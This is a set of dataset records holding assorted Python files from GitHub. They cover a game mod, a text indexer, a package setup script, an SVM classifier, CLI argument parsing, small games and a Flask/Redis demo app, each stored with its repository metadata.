StatusBlockConstructor._getStatus\n\nModuleTooltipBlockConstructor.MAX_INSTALLED_LIST_LEN = 1000\nbattle_booster._MAX_INSTALLED_LIST_LEN = 1000\nstorage_helpers.createStorageDefVO = createStorageDefVO\nConsumablesPanel._ConsumablesPanel__makeShellTooltip = makeShellTooltip\nformatters.getFormattedParamsList = getFormattedParamsList\nCommonStatsBlockConstructor.construct = construct\nCommonStatsBlockConstructor1.construct = construct1\nVehicleAdvancedParametersTooltipData._packBlocks = _packBlocks\nStatusBlockConstructor._getStatus = StatusBlockConstructor_getStatus\n\nprint('[LOAD_MOD]: [mod_tooltipsCountItemsLimitExtend 2.05 (01-12-2022), by spoter]')\n","repo_name":"spoter/spoter-mods","sub_path":"mod_tooltipsCountItemsLimitExtend/source/mod_tooltipsCountItemsLimitExtend.py","file_name":"mod_tooltipsCountItemsLimitExtend.py","file_ext":"py","file_size_in_byte":22253,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"18"} +{"seq_id":"35351913019","text":"import os\r\nfrom os import walk\r\nfrom config import words, sentencePlace\r\n\r\n\r\ndef initalize():\r\n \"\"\"\r\n Insert all the word in archive directory to hash map.\r\n Every word with all it appearance in the directory.\r\n\r\n \"\"\"\r\n\r\n pathdir = os.getcwd() + \"\\Archive\"\r\n dir_queue = [pathdir]\r\n while len(dir_queue) != 0:\r\n # with open(dir_queue[0]) as f:\r\n # if dir_queue[0].\r\n # from os import walk\r\n\r\n directory_path = dir_queue[0]\r\n for (dirpath, dirnames, filenames) in walk(directory_path):\r\n # print(directory_path,dirpath,filenames)\r\n for Dirname in dirnames:\r\n path = dirpath + '\\{}'.format(Dirname)\r\n dir_queue.append(path)\r\n for Filename in filenames:\r\n filepath = dirpath + '\\{}'.format(Filename)\r\n with open(filepath, encoding=\"utf8\") as f:\r\n # print(filepath)\r\n text = f.readlines()\r\n # print(text)\r\n for line in text:\r\n words_in_line = line.split()\r\n for word in words_in_line:\r\n file = filepath\r\n row = text.index(line)\r\n index_in_row = words_in_line.index(word)\r\n sentencePlace.append((file, row, index_in_row))\r\n if words.get(word) is None:\r\n words[word] = ([len(sentencePlace) - 1])\r\n else:\r\n words.get(word).append(len(sentencePlace) - 1)\r\n\r\n # print(dir_queue)\r\n dir_queue.pop(0)\r\n","repo_name":"michalReich200/Google-project---AutoComplete-","sub_path":"google/initalize.py","file_name":"initalize.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12832548511","text":"import os\nimport os.path as _os\nimport sys\n\n# Raise active exceptions if the installing system environment is\n# not configured correctly for kaamiki.\nif sys.version_info < (3,):\n sys.exit(\"Python 2 has reached end-of-life and is no longer supported \"\n \"by Kaamiki.\")\n\nif sys.version_info < (3, 5):\n sys.exit(\"Kaamiki supports minimum python 3.6 and above. Kindly upgrade \"\n \"your python interpreter to a suitable version.\")\n\nif os.name == \"nt\" and sys.maxsize.bit_length() == 31:\n sys.exit(\"32-bit Windows Python runtime is not supported. Please switch \"\n \"to 64-bit Python.\")\n\nfrom setuptools import find_packages, setup\n\n_NAME = \"kaamiki\"\n\n# The version string is semver compatible and adheres to Semantic\n# Versioning Specification (SemVer) starting with version 0.1.\n# See https://semver.org/spec/v2.0.0.html for more help on it.\n_VERSION = \"1.0.3\"\n\n\ndef _use_readme() -> str:\n \"\"\"Use README.md for long description of kaamiki.\"\"\"\n with open(\"README.md\", \"r\") as file:\n return file.read()\n\n\n# Flag which raises warning if the installed version of kaamiki\n# is outdated or a nightly build if that matters.\n_VERSION_FLAG = 0\n\n\ndef _cook() -> None:\n \"\"\"Prepare the required directory structure while setting up.\"\"\"\n # Create base directory for caching, logging and storing data of\n # kaamiki session.\n base = _os.expanduser(f\"~/.{_NAME}/\")\n if not _os.exists(base):\n os.mkdir(base)\n\n with open(os.path.join(base, \"update\"), \"w\") as _file:\n _file.write(f\"version: {_VERSION}\\n\"\n f\"check: {_VERSION_FLAG}\")\n\n\nwith open(\"requirements.txt\", \"r\") as requirements:\n if os.name != \"nt\":\n skip = [\"psutil\", \"pywin32\", \"pypywin32\", \"pywinauto\", \"win10toast\"]\n packages = [idx for idx in requirements if idx.rstrip() not in skip]\n\n_DOCLINES = __doc__ if __doc__.count(\"\\n\") == 0 else __doc__.split(\"\\n\")\n\nsetup(\n name=_NAME,\n version=_VERSION,\n url=\"https://github.com/kaamiki/kaamiki\",\n author=\"XAMES3\",\n author_email=\"xames3.developer@gmail.com\",\n maintainer_email=\"xames3.kaamiki@gmail.com\",\n classifiers=[\n \"Development Status :: 4 - Beta\",\n \"Programming Language :: Python :: 3 :: Only\",\n ],\n license=\"Apache Software License 2.0\",\n description=\" \".join(_DOCLINES[3:5]),\n long_description=_use_readme(),\n long_description_content_type=\"text/markdown\",\n keywords=\"kaamiki python c++ machine learning pandas numpy cv2\",\n zip_safe=False,\n install_requires=packages,\n python_requires=\"~=3.6\",\n include_package_data=True,\n packages=find_packages(),\n entry_points={\n \"console_scripts\": [\n \"kaamiki = kaamiki.parser:main\",\n ],\n },\n platform=[\"Linux\", \"Windows\", \"macOS\"],\n)\n\n_cook()\n","repo_name":"xames3-old/kaamiki_alpha","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"42871837691","text":"import numpy as np\nimport cv2\nimport glob\nfrom matplotlib import pyplot as plt\nimport itertools\n\nfrom dataset import loadFolder\n\nclass StatModel(object):\n def load(self, fn):\n self.model.load(fn)\n def save(self, fn):\n self.model.save(fn)\n\n''' SVM class model'''\nclass SVM(StatModel):\n def __init__(self, C = 1.0, gamma = 0.5, kernel = cv2.ml.SVM_LINEAR, type = cv2.ml.SVM_C_SVC, file_path = None):\n if(file_path != None):\n self.model = cv2.ml.SVM_load(file_path)\n else:\n self.model = cv2.ml.SVM_create()\n self.model.setGamma(gamma)\n self.model.setC(C)\n self.model.setKernel(kernel)\n self.model.setType(type)\n\n def train(self, samples, responses):\n self.model.train(samples, cv2.ml.ROW_SAMPLE, responses)\n\n def predict(self, samples):\n return self.model.predict(samples)[1].ravel()\n\n''' DCT for feature '''\ndef getDCTFeature(img):\n img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # 1 chan, grayscale!\n imf = np.float32(img_gray)/255.0 # float conversion/scale\n dct = cv2.dct(imf) # the dct\n (r, c) = dct.shape\n new_dct = dct[0:r, 0:c]\n dct_vector = new_dct.flatten()\n # img_dct = np.uint8(dst)*255.0 # convert back\n # plt.imshow(img_dct, cmap = 'gray', interpolation = 'bicubic')\n # # plt.imshow(img_dct, interpolation = 'bicubic')\n # plt.xticks([]), plt.yticks([])\n # plt.show()\n return dct_vector\n\n''' return dct feature list for input image list'''\ndef getDCTFeatureList(img_list):\n dct_feature_list = []\n for img in img_list:\n dct_feature = getDCTFeature(img)\n dct_feature_list.append(dct_feature)\n return dct_feature_list\n\n''' histogram for feature '''\ndef getHistFeature(img, usecolor = False, bins = 256):\n maxRange = 256\n if(usecolor):\n #split the bgr channels for image\n b = img[:, :, 0]\n g = img[:, :, 1]\n r = img[:, :, 2]\n b_hist = cv2.calcHist([b], [0], None, [bins], [0, maxRange])\n g_hist = cv2.calcHist([g], [0], None, [bins], [0, maxRange])\n r_hist = cv2.calcHist([r], [0], None, [bins], [0, maxRange])\n imghist = np.concatenate((b_hist.flatten(), g_hist.flatten(), r_hist.flatten()))\n else:\n imghist = cv2.calcHist([img], [0], None, [bins], [0, maxRange])\n imghist.flatten()\n\n return imghist\n\n''' return dct feature list for input image list'''\ndef getHistFeatureList(img_list, usecolor = False, bins = 256):\n hist_feature_list = []\n for img in img_list:\n hist_feature = getHistFeature(img, usecolor, bins)\n hist_feature_list.append(hist_feature)\n return hist_feature_list\n\n''' evaluate the model '''\ndef evaluateModel(model, testdata, testlabel):\n\n resp = model.predict(testdata)\n err = (testlabel != resp).mean()\n print('error: %.2f %%' % (err*100))\n\n confusion = np.zeros((2, 2), np.int32)\n for i, j in zip(testlabel, resp):\n confusion[i, int(j)] += 1\n print('confusion matrix:')\n print(confusion)\n return err\n\n\ndef main():\n empty_list = loadFolder(\"dataset_resize/empty\")\n occupied_list = loadFolder(\"dataset_resize/occupied\")\n\n # we select 75 image in each image list as training dataset\n # use left 75 images in each image list as testing dataset\n # then we can exchange the traing and testing dataset, compute accuracy again\n train_labels = np.zeros(150, dtype=np.int)\n train_labels[75:150] = np.ones(75)\n test_labels = np.zeros(150, dtype=np.int)\n test_labels[75:150] = np.ones(75)\n\n # DCT features\n # empty_features = getDCTFeatureList(empty_list)\n # occupied_features = getDCTFeatureList(occupied_list)\n\n svm_kernel = [\n\t(\"SVM_LINEAR\", cv2.ml.SVM_LINEAR)]\n #(\"SVM_RBF\", cv2.ml.SVM_RBF),\n\t#(\"SVM_POLY\", cv2.ml.SVM_POLY) ]\n svm_C = np.arange(1.0, 3.0, 1)\n svm_gamma = [5.383]\n colors = [True, False]\n binVals = [16,64,256]\n combs = list(itertools.product(svm_kernel, svm_C, svm_gamma, colors, binVals))\n\n bestParameter = [None] * 5\n bestFeatures = [None] * 150\n bestModel = SVM()\n min = 1.0\n\n for comb in combs:\n name, kernel = comb[0]\n C = comb[1]\n gamma = comb[2]\n usecolor = comb[3]\n bins = comb[4]\n\n # Hist features\n empty_features = getHistFeatureList(empty_list, usecolor, bins)\n occupied_features = getHistFeatureList(occupied_list, usecolor, bins)\n\n trainset = [None] * 150\n testset = [None] * 150\n trainset[0:75] = empty_features[0:75]\n trainset[75:150] = occupied_features[0:75]\n testset[0:75] = empty_features[75:150]\n testset[75:150] = occupied_features[75:150]\n trainset = np.asarray(trainset)\n testset = np.asarray(testset)\n\n #build SVM model\n model = SVM(C, gamma, kernel)\n model.train(trainset, train_labels)\n err = evaluateModel(model, testset, test_labels)\n\n # model.train(testset, test_labels)\n # err = evaluateModel(model, trainset, train_labels)\n\n print( \"SVM kernel\" + name + \", SVM C = \" + str(C) + \", SVM gamma = \" + str(gamma))\n print(\"use color = \" + str(usecolor) + \", binVal = \" + str(bins))\n print (\"Error rate: \" + str(err))\n\n if err < min:\n bestParameter[0] = name\n bestParameter[1] = C\n bestParameter[2] = gamma\n bestParameter[3] = usecolor\n bestParameter[4] = bins\n bestModel = model\n bestFeatures = testset\n min = err\n\n print(\"The best parameter is: \")\n print( \"SVM kernel: \" + bestParameter[0] + \", SVM C = \" + str(bestParameter[1]) + \", SVM gamma = \" + str(bestParameter[2]))\n print(\"use color = \" + str(bestParameter[3]) + \", binVal = \" + str(bestParameter[4]))\n print (\"Error rate: \" + str(min))\n\n # bestModel.save(\"svm_model1.xml\")\n #\n # print(\"load model\")\n # svmload = SVM(file_path=\"svm_model1.xml\")\n # err = evaluateModel(svmload, bestFeatures, test_labels)\n # print \"error rate:\" + str(err)\n\n\n\nif __name__ == '__main__':\n main()","repo_name":"nithint29/ParkingLotDetection","sub_path":"detection.py","file_name":"detection.py","file_ext":"py","file_size_in_byte":6110,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"39691117049","text":"# Joseph S. Wirth\n# September 2023\nfrom __future__ import annotations\nfrom auxillary.params import *\nfrom Bio import SeqIO\nimport getopt, os, sys\n\nclass Parameters():\n \"\"\"class for storing and accessing parameters\n \"\"\"\n # global constants\n __ESPW_FNA = os.path.join(\"data\", \"espW_alleles.fna\")\n __ARIBA_DB = os.path.join(\"data\", \"ariba_db\")\n __DEFAULT_THREADS = 1\n __DEFAULT_CLEANUP = True\n __DEFAULT_HELP = False\n \n def __init__(self, fna:str, read1:str, read2:str, threads:int, cleanup:bool, helpRequested:bool) -> Parameters:\n \"\"\"constructor for the Parameters class\n\n Args:\n fna (str): a nucleotide fasta filename and path\n read1 (str): a forward reads filename and path\n read2 (str): a reverse reads filename and path\n threads (int): the number of threads to use for parallel processes\n cleanup (bool): indicates whether intermediate files should be removed\n helpRequested (bool): indicates if help was requested\n\n Returns:\n Parameters: a Parameters object\n \"\"\"\n # store inputs\n self.fna:str = fna\n self.reads:tuple[str] = (read1, read2)\n self.threads:int = threads\n self.cleanup:bool = cleanup\n self.helpRequested:bool = helpRequested\n \n # import values from the params file\n self._blastExeDir:str = BLAST_EXE_DIR\n self._aribaExe:str = ARIBA_EXE\n self._aribaDb:str = os.path.join(ALLELE_CALLER_DIR, Parameters.__ARIBA_DB)\n self._espwFna:str = os.path.join(ALLELE_CALLER_DIR, Parameters.__ESPW_FNA)\n \n # initialize a few other variables\n self._blastDb:str = None\n self._blastFn:str = None\n self._aribaDir:str = None\n\n \n def __isFasta(fn:str) -> bool:\n \"\"\"checks if an ipnut file is in fact a fasta\n\n Args:\n fn (str): the file to check\n\n Returns:\n bool: indicates if the file is formatted properly\n \"\"\"\n # true if one or more records could be parsed; otherwise false\n for rec in SeqIO.parse(fn, 'fasta'):\n return True\n return False\n \n \n def parseArgs() -> Parameters:\n \"\"\"parses command line arguments and builds a Parameters object from them\n\n Raises:\n RuntimeError: reads were not specified properly\n FileNotFoundError: read 1 was not found\n FileNotFoundError: read 2 was not found\n FileNotFoundError: fasta was not found\n ValueError: input fasta is improperly formatted\n ValueError: invalid input for threads\n BaseException: one or more required arguments omitted\n\n Returns:\n Parameters: a Parameters object\n \"\"\"\n # flags\n READS_FLAGS = (\"-r\", \"--reads\")\n FNA_FLAGS = (\"-f\", \"--fasta\")\n THREADS_FLAGS = (\"-n\", \"--num_threads\")\n CLEANUP_FLAGS = (\"-s\", \"--save_files\")\n HELP_FLAGS = (\"-h\", \"--help\")\n SHORT_OPTS = READS_FLAGS[0][-1] + \":\" + \\\n FNA_FLAGS[0][-1] + \":\" + \\\n THREADS_FLAGS[0][-1] + \":\" + \\\n CLEANUP_FLAGS[0][-1] + \\\n HELP_FLAGS[0][-1]\n LONG_OPTS = [READS_FLAGS[1][2:] + \"=\",\n FNA_FLAGS[1][2:] + \"=\",\n THREADS_FLAGS[1][2:] + \"=\",\n CLEANUP_FLAGS[1][2:],\n HELP_FLAGS[1][2:]]\n \n # messages\n ERR_MSG_1 = \"must specify exactly two reads separated by a comma\"\n ERR_MSG_2 = \"file is not a fasta: \"\n ERR_MSG_3A = \"invalid value for '\"\n ERR_MSG_3B = \"': \"\n ERR_MSG_4 = \"must provide all required arguments\"\n IGNORE_MSG = \"ignoring unused argument: \"\n \n # helper function to print help\n def printHelp():\n \"\"\"helper function for printing the help message\n \"\"\"\n GAP = 4*\" \"\n EOL = \"\\n\"\n SEP = \", \"\n MSG = EOL + \"determines the allele of espW from genomic sequence data\" + EOL + \\\n GAP + \"Joseph S. Wirth, 2023\" + EOL*2 + \\\n \"usage:\" + EOL + \\\n GAP + \"espwAlleleCaller [-\" + \\\n READS_FLAGS[0][-1] + \\\n FNA_FLAGS[0][-1] + \\\n THREADS_FLAGS[0][-1] + \\\n CLEANUP_FLAGS[0][-1] + \\\n HELP_FLAGS[0][-1] + \"]\" + EOL*2 + \\\n \"required arguments:\" + EOL + \\\n GAP + f\"{READS_FLAGS[0] + SEP + READS_FLAGS[1]:<21}{'input reads as a pair of files separated by a comma (read1,read2)'}\" + EOL + \\\n GAP + f\"{FNA_FLAGS[0] + SEP + FNA_FLAGS[1]:<21}{'input nucleotide fasta file'}\" + EOL*2 + \\\n \"optional arguments:\" + EOL + \\\n GAP + f\"{THREADS_FLAGS[0] + SEP + THREADS_FLAGS[1]:<21}{'the number of threads to use (default: 1)'}\" + EOL + \\\n GAP + f\"{CLEANUP_FLAGS[0] + SEP + CLEANUP_FLAGS[1]:<21}{'save intermediate files generated by this program (default: delete files)'}\" + EOL + \\\n GAP + f\"{HELP_FLAGS[0] + SEP + HELP_FLAGS[1]:<21}{'print this message'}\" + EOL\n \n print(MSG)\n \n # set default values\n fna = None\n read1 = None\n read2 = None\n cleanup = Parameters.__DEFAULT_CLEANUP\n threads = Parameters.__DEFAULT_THREADS\n helpRequested = Parameters.__DEFAULT_HELP\n\n # print help message if requested; update values\n if len(sys.argv) == 1 or HELP_FLAGS[0] in sys.argv or HELP_FLAGS[1] in sys.argv:\n printHelp()\n fna = ''\n read1 = ''\n read2 = ''\n helpRequested = True\n \n # otherwise parse command line arguments\n else:\n opts,args = getopt.getopt(sys.argv[1:], SHORT_OPTS, LONG_OPTS)\n for opt,arg in opts:\n # parse read flags\n if opt in READS_FLAGS:\n # make sure exactly two reads were provided\n try:\n read1,read2 = arg.split(\",\")\n except:\n raise RuntimeError(ERR_MSG_1)\n \n # check that both files exist\n if not os.path.exists(read1):\n raise FileNotFoundError(read1)\n if not os.path.exists(read2):\n raise FileNotFoundError(read2)\n \n # parse fasta flags\n elif opt in FNA_FLAGS:\n # make sure the file exists\n if not os.path.exists(arg):\n raise FileNotFoundError(arg)\n \n # make sure the file is a fasta\n if not Parameters.__isFasta(arg):\n raise ValueError(ERR_MSG_2 + arg)\n \n # store value\n fna = arg\n\n # parse threads flags\n elif opt in THREADS_FLAGS:\n # make sure the number is an integer\n try:\n threads = int(arg)\n except:\n raise ValueError(ERR_MSG_3A + opt + ERR_MSG_3B + arg)\n \n # parse cleanup flags\n elif opt in CLEANUP_FLAGS:\n cleanup = False\n \n # ignore all other arguments\n else:\n print(IGNORE_MSG + opt + \" \" + arg)\n \n # make sure all required arguments were specified\n if None in {read1, read2, fna}:\n raise BaseException(ERR_MSG_4)\n \n return Parameters(fna, read1, read2, threads, cleanup, helpRequested)\n","repo_name":"ncezid-biome/espwAlleleCaller","sub_path":"auxillary/Parameters.py","file_name":"Parameters.py","file_ext":"py","file_size_in_byte":7933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34756422343","text":"# coding:utf-8\n# JSRUN引擎2.0,支持多达30种语言在线运行,全仿真在线交互输入输出。\nimport functools\n\n\ndef comp(a, b):\n return int(a[1]) - int(b[1])\n\n\n# 处理输入\nn = int(input())\nclock_records = []\nfor i in range(n):\n clock_records.append(input().split(\",\"))\n\n# 存放每位员工的打卡记录\nrecord_map = {}\nresult = set()\n\n# 初始化map时实现异常规则1\nfor i in range(n):\n # 题目要求按输入顺序输出,加一个索引 i\n single_record = clock_records[i]\n clock_records[i].append(str(i));\n\n if (single_record[3] != (single_record[4])):\n result.add(i);\n else:\n if (single_record[0] in record_map):\n record_map[single_record[0]].append(single_record)\n else:\n record_map[single_record[0]] = []\n record_map[single_record[0]].append(single_record)\n\n# 异常规则2\nfor key in record_map:\n records = record_map[key];\n\n # 用打卡时间来排序,以加速后续的双层循环。\n records = sorted(records, key=functools.cmp_to_key(comp))\n # records.sort((a, b) -> Integer.parseInt(a[1]) - Integer.parseInt(b[1]));\n\n for i in range(len(records)):\n time1 = int(records[i][1])\n dist1 = int(records[i][2])\n for j in range(i + 1, len(records)):\n time2 = int(records[j][1])\n dist2 = int(records[j][2])\n\n # 如果当前的两次打卡时间超过60分, 那么后面的肯定也超过60分钟了\n if (time2 - time1 >= 60):\n break\n else:\n if (abs(dist2 - dist1) > 5):\n result.add(int(records[i][5]))\n result.add(int(records[j][5]))\n\n# 输出\nif (len(result) == 0):\n print(\"null\")\nelse:\n res_str = \"\";\n for index in result:\n clock_records[index].pop()\n res_str += \",\".join(clock_records[index]) + \";\"\n print(res_str[0:len(res_str) - 1]);\n\n\n\n","repo_name":"haunglai/odpython","sub_path":"异常的打卡记录/异常的打卡记录.py","file_name":"异常的打卡记录.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"18632422634","text":"import random\nwhile True:\n choices = [\"rock\",\"paper\",\"scissors\"]\n computer = random.choice(choices)\n player = None\n while player not in choices:\n player = input(\"rock, paper, or scissors : \").lower()\n print(\"computer : \",computer.capitalize())\n print(\"player : \",player.capitalize())\n if player == computer:\n print(\"Tie!\")\n elif player == choices[0]:\n if computer == choices[1]:\n print(\"You lose!\")\n elif computer == choices[2]:\n print(\"You win!\")\n elif player == choices[1]:\n if computer == choices[0]:\n print(\"You win!\")\n elif computer == choices[2]:\n print(\"You lose!\")\n else:\n if computer == choices[0]:\n print(\"You lose!\")\n elif computer == choices[1]:\n print(\"You win!\")\n play_again = input(\"Play again ? (YES or NO) : \").lower()\n if play_again !=\"yes\":\n break\nprint(\"Bay!\")\n","repo_name":"radouane-oubakhane/myfirst-python-projects","sub_path":"rock-paper-scissors/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14439850502","text":"import csv\n\nimport numpy\n\n\ndef inference(model, feature_hours, test_filename, submission_filename, feature_selection=None):\n data = numpy.zeros((18, feature_hours))\n with open(test_filename) as f, open(submission_filename, 'w') as g:\n reader = csv.reader(f)\n print('id,value', file=g)\n for idx, row in enumerate(reader):\n day, kind = divmod(idx, 18)\n data_today = row[2:]\n if row[1] == 'RAINFALL':\n data_today = list(map(lambda d: 0 if d == 'NR' else d, data_today))\n data[kind][:] = data_today[(9 - feature_hours):]\n if kind == 17:\n X_test = numpy.reshape(data.T, (18 * feature_hours, 1)).T\n if feature_selection:\n X_test = feature_selection(X_test)\n Y = model.predict(X_test)\n print('id_{},{}'.format(day, Y[-1][0]), file=g)\n","repo_name":"yan12125/ML2018FALL","sub_path":"hw1/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8446325894","text":"import pygame\nfrom ._color import Color\nfrom ._gobject import GObject\n\n\nclass GText(GObject):\n def __init__(self, name, x, y, message, **kwargs):\n self._message = message\n self.font_name = kwargs.get(\"font_name\", \"Courier\")\n self.font_size = kwargs.get(\"font_size\", 18)\n self.font_bold = kwargs.get(\"font_bold\", False)\n self.font_italic = kwargs.get(\"font_italic\", False)\n self.font = pygame.font.SysFont(self.font_name, self.font_size, bold=self.font_bold, italic=self.font_italic)\n self.color = kwargs.get(\"color\", Color.BLACK)\n self.background_color = kwargs.get(\"bcolor\", Color.WHITE)\n self.gtext = self.font.render(self._message, True, self.color)\n rect = self.gtext.get_rect()\n super(GText, self).__init__(name, x, y, rect.w, rect.h, **kwargs)\n self.image.fill(self.background_color)\n self.image.blit(self.gtext, (0, 0, self.dx, self.dy))\n\n def __str__(self):\n return f\"[{self.gid}] : {self.__class__.__name__}@{self.name} | ({self.x}, {self.y}) {self.message}\"\n\n @property\n def message(self):\n \"\"\"message property returns the string to be displayed by the graphical\n text object.\n \"\"\"\n return self._message\n\n @message.setter\n def message(self, val):\n \"\"\"message setters sets the string to be displayed, it cleans any\n previous text from the surface and update surface instance.\n \"\"\"\n self._message = val\n self.gtext = self.font.render(self._message, True, self.color)\n self.rect = self.gtext.get_rect()\n self.rect.x = self.x\n self.rect.y = self.y\n self._dx = self.rect.w\n self._dy = self.rect.h\n self.image.fill((255, 255, 255, 0))\n self.image.fill(self.background_color)\n self.image.blit(self.gtext, (0, 0, self.dx, self.dy))\n","repo_name":"jrecuero/pyengine","sub_path":"engine/_gtext.py","file_name":"_gtext.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"31586857214","text":"from flask import Flask, render_template, redirect, url_for\r\nfrom server.server import redis_subscr\r\nimport mysql.connector\r\nfrom server import keys\r\nimport redis\r\nfrom flask_wtf import FlaskForm\r\nfrom wtforms import StringField, SubmitField\r\nimport time\r\n\r\napp = Flask(__name__)\r\n\r\napp.config['SECRET_KEY'] = 'mysecretkey'\r\n\r\n\r\nredis_client = redis.Redis(host=keys.REDIS_HOST, port=keys.REDIS_PORT,db=0,decode_responses=True)\r\nconn = mysql.connector\r\nsql_conn = None\r\npubsub = None\r\n\r\n\r\n\r\n@app.before_first_request\r\ndef create_tables():\r\n print(\"KEYS\",flush=True)\r\n print(keys.mysql_host,flush=True)\r\n print(keys.mysql_username, flush=True)\r\n print(keys.mysql_pass, flush=True)\r\n print(keys.mysql_db, flush=True)\r\n print(keys.myPort, flush=True)\r\n print('BEFORE FIRST REQUEST',flush=True)\r\n try:\r\n print('Inside try',flush=True)\r\n global sql_conn\r\n sql_conn = conn.connect(host=keys.mysql_host, user=keys.mysql_username, password=keys.mysql_pass,\r\n database=keys.mysql_db, port=keys.myPort)\r\n my_cur = sql_conn.cursor()\r\n my_cur.execute(\"create table if not exists numbers ( num INTEGER );\")\r\n sql_conn.commit()\r\n my_cur.execute(\"show tables;\")\r\n myresult = my_cur.fetchall()\r\n print('PRINTING RESULT',flush=True)\r\n for res in myresult:\r\n print(res,flush=True)\r\n except conn.Error as error:\r\n print('Inside line 36',flush=True)\r\n print(error)\r\n\r\n\r\n@app.route(\"/\")\r\ndef index():\r\n return \"Hi\"\r\n\r\n\r\n@app.route(\"/values/all\")\r\ndef getAllValues():\r\n global sql_conn\r\n mycursor = sql_conn.cursor()\r\n mycursor.execute(\"SELECT * FROM numbers;\")\r\n myresult = mycursor.fetchall()\r\n mycursor.close()\r\n return render_template(\"home.html\", data=myresult)\r\n\r\n\r\nclass InfoForm(FlaskForm):\r\n breed = StringField(label='Please enter breed')\r\n submit = SubmitField(label='Submit')\r\n\r\n\r\n# @app.route('/', methods=['GET', 'POST'])\r\n# def index():\r\n# form = InfoForm()\r\n#\r\n# if form.validate_on_submit():\r\n# session['breed'] = form.breed.data\r\n# flash(f\"you have entered {session['breed']}\")\r\n#\r\n# return redirect((url_for('index')))\r\n#\r\n# return render_template('index.html', form=form)\r\ndef event_handler(msg):\r\n print(\"Handler\",msg,flush=True)\r\n\r\n\r\n@app.route('/values', methods=['GET', 'POST'])\r\ndef getCurrentValues():\r\n form = InfoForm()\r\n global sql_conn\r\n # resultSetfromDB = readvaluesfromDataBase()\r\n # resultSetfromReds = readValueFromRedis()\r\n print(sql_conn,flush=True)\r\n if form.validate_on_submit():\r\n value = form.breed.data\r\n if int(value) >= 40:\r\n return \"index too high\"\r\n\r\n redis_client.hset('values', value, 'Nothing yet')\r\n redis_client.publish(\"insert\", value)\r\n\r\n\r\n #print(redis_client.memory_stats(),flush=True)\r\n\r\n query = f'INSERT INTO numbers (num) VALUES ({int(value)});'\r\n print(query,flush=True)\r\n mycursor = sql_conn.cursor()\r\n mycursor.execute(query)\r\n sql_conn.commit()\r\n print(mycursor.rowcount, \"was inserted.\",flush=True)\r\n resultSetfromDB = readvaluesfromDataBase()\r\n resultSetfromReds = readValueFromRedis()\r\n form.breed.data=\"\"\r\n\r\n return render_template('index.html', form=form , db = resultSetfromDB , mem = resultSetfromReds)\r\n #return render_template(url_for(\"getCurrentValues\",db = resultSetfromDB , mem = resultSetfromReds))\r\n resultSetfromDB = readvaluesfromDataBase()\r\n resultSetfromReds = readValueFromRedis()\r\n return render_template('index.html', form=form , db = resultSetfromDB , mem = resultSetfromReds)\r\n\r\n\r\ndef readValueFromRedis():\r\n\r\n #redis_client = redis.Redis(host=keys.REDIS_HOST, port=keys.REDIS_PORT, decode_responses=True, charset='utf-8')\r\n\r\n resultset = redis_client.hgetall('values')\r\n return resultset\r\n\r\ndef readvaluesfromDataBase():\r\n global sql_conn\r\n mycursor = sql_conn.cursor()\r\n mycursor.execute(\"select num from numbers;\")\r\n resultset = mycursor.fetchall()\r\n for test in resultset:\r\n print(test,flush=True)\r\n\r\n # concert list of tuple(1) to list of values\r\n list_values = [tup[0] for tup in resultset]\r\n # convert list of values to string\r\n string_values = ' '.join(str(val) for val in list_values)\r\n return string_values\r\n","repo_name":"deepakddun/mutli-docker","sub_path":"myproj/server/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74577944039","text":"import jwt\n\n\ndef create_token():\n payload_data = {\n \"sub\": \"4242\",\n \"name\": \"Admin\",\n \"username\": \"admin\",\n \"email\": \"admin@gmail.com\"\n }\n\n my_secret = 'admin'\n\n token = jwt.encode(\n payload=payload_data,\n key=my_secret\n )\n\n return token\n\n\ndef verify_token(token, key):\n try:\n if jwt.decode(token, key=key, algorithms=['HS256', ]):\n return True\n except jwt.PyJWTError:\n return False\n\n","repo_name":"csavio75/sample-azure-function-python","sub_path":"shared_functions/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23177137108","text":"from glob import glob\n\n\n###voiefdl;c########\nclass colizeus():\n\n def __init__(self, link, extension):\n self.link=link\n self.extension=extension\n\n\n\n def varedura(self, string):\n for tudo in glob(self.link + self.extension):\n with open(tudo,\"r\") as arq:\n karma=arq.read()\n #karma=arq.read()\n if string in karma:\n print(f\"arquivos {tudo}\")\n\n\n\n\npasta=input(\"digita a pasta ou deixxa em branco se estiver dentro dela\")#input(\"digita a pasta com arquivos\")\next=\"*.\"+input(\"Extencao dos arquivos: \")\narena=colizeus(pasta,ext)\n\nrequisito=input(\"digita a palavra: \")\narena.varedura(requisito)\n","repo_name":"josiasp420/olimpicproject","sub_path":"olimpic.py","file_name":"olimpic.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34741127076","text":"import akshare as ak\nimport pandas as pd\nimport numpy as np\nimport stockstats\nimport datetime\nfrom sqlalchemy import create_engine\nimport time\nengine=create_engine(\"mysql+pymysql://root:21180294@localhost:3306/akshareChinaAdata\")\n\n\n# 